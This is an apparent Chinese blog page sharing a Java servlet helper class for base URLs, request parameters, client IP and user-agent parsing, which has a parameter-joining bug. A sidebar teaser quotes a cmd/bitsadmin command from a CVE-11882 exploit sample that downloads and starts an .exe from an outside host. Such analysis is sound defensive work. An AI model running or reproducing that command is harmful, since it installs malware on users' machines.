文档章节

http请求封装

千元机爱好者
 千元机爱好者
发布于 2016/10/08 15:13
字数 303
阅读 21
收藏 1
package an.you.common.http;

import java.util.Iterator;
import java.util.Map;

import javax.servlet.http.HttpServletRequest;
/**
 * http请求工具类
 * @author anyou
 *
 */
public class BaseUrlUtil {
	/**
	 * 封装请求地址的前部分
	 * @param request
	 * @return
	 */
	public static String getBaseUrl(HttpServletRequest request){
		String path = request.getContextPath();
		int port = request.getServerPort();
		String _port = ":"+port;
		if(port == 80 || port == 443)_port = "";
		String basePath = request.getScheme()+"://"+request.getServerName()+_port+path+"/";
		return basePath;
	}
	/**
	 * 获取请求地址的参数,多个参数以,分割
	 * @param request
	 * @return
	 */
	@SuppressWarnings("rawtypes")
	public static String getPaream(HttpServletRequest request){
		Map map = request.getParameterMap();
		String returnStr = "";
		Iterator entries = map.entrySet().iterator(); 
		Map.Entry entry;
		while (entries.hasNext()) {
			entry = (Map.Entry) entries.next(); 
			String name = (String) entry.getKey(); 
			Object valueObj = entry.getValue();
			String value = "";
			if(valueObj instanceof String[]){ 
				String[] values = (String[])valueObj;
				for(int i=0;i<values.length;i++){ 
					 value = values[i] + ",";
				}
				value = value.substring(0, value.length()-1); 
			}else{
				value = valueObj.toString(); 
			}
			
			returnStr += name + "=" + value +"&";
		}
		if(returnStr.length()>0){
			returnStr = returnStr.substring(0, returnStr.length()-1);
		}
		return returnStr;
	}
	/**
	 * 获取客户端请求的IP地址
	 * @param request
	 * @return
	 */
	public static String getRequestIP(HttpServletRequest request){
		String spBillCreateIP = "";
		if (request.getHeader("x-forwarded-for") == null) {
			spBillCreateIP = request.getRemoteAddr();
		} else {
			String _ip = request.getHeader("x-forwarded-for");
			String[] str = _ip.replace(" ", "").split(",");
			if (str.length > 0) {
				spBillCreateIP = str[0];
			} else {
				spBillCreateIP = request.getHeader("x-forwarded-for");
			}

		}
		return spBillCreateIP;
	}
	/**
	 * 获取访问的浏览器和操作系统
	 * @param request
	 * @return
	 */
	public static String[] getRequestUseragent(HttpServletRequest request){
		String[] strs = new String[2];
		String brower = null;
		String userOs = null;
		String agent = request.getHeader("user-agent");
		agent = agent.substring(agent.indexOf("(")+1, agent.indexOf(")"));
		String[] _agents = agent.split(";");
		if(agent.contains("iPhone")){
			brower = "Safari";
			userOs = "iPhone";
		}else if(agent.contains("MSIE")){
			brower = _agents[1];
			userOs = _agents[2];
		}else if(agent.contains("Linux")){
			if(_agents[1].contains("Android"))userOs = _agents[1];
			else userOs = _agents[2];
			brower = _agents[_agents.length-1];
		}else{
			brower = _agents[0];
			userOs = _agents[0];
		}
		strs[0] = brower;
		strs[1] = userOs;
		return strs;
	}
}

 

© 著作权归作者所有

共有 人打赏支持
千元机爱好者
粉丝 9
博文 35
码字总数 35649
作品 0
焦作
后端工程师
加载中

评论(1)

千元机爱好者
千元机爱好者
自顶一个

暂无文章

java并发api总结

1.java.util.concurrent包 1.1 Executors Executor:接口,仅有一个方法为execute(Runnable) ExecutorService:Executor的子接口,扩展了Executor的方法,如submit/shutdown等。 Executors:......

Funcy1122
21分钟前
0
0
cmd bat 下载并运行文件,来自cve-11882漏洞样本,eqnedit32.exe栈溢出

cmd.exe /c bitsadmin /transfer eH /priority foreground http://holdthatpaper33.com/abu_output774B940.exe %USERPROFILE%\cXUAQSZZXXCXzx.exe && start %USERPROFILE%\cXUAQSZZXXCXzx.ex......

simpower
34分钟前
1
0
Java 面向对象 之 对象数组

http://www.verejava.com/?id=16992784958543 /** 知识点: 对象数组 1. 对象数组的使用 2. 对象数组的foreach 增强for循环 3. 可变参数 题目:乘客...

全部原谅
35分钟前
1
0
超越时间和空间,带你到n维去!

我们处理三维问题十分自如,必要时对付四维问题也凑合。我们不费吹灰之力就能接受有实体和无限空间的三维世界。加上第四维时间后情况就有点复杂了。 但当我们开始研究包括再多或再少维数的世...

WeiXiaodong
46分钟前
0
0
通过ip获取真实地址

package util;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;import org.apache.commons.lang3.StringUtils;import org.apache.http.HttpResponse;......

lifes77
今天
3
0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

返回顶部
顶部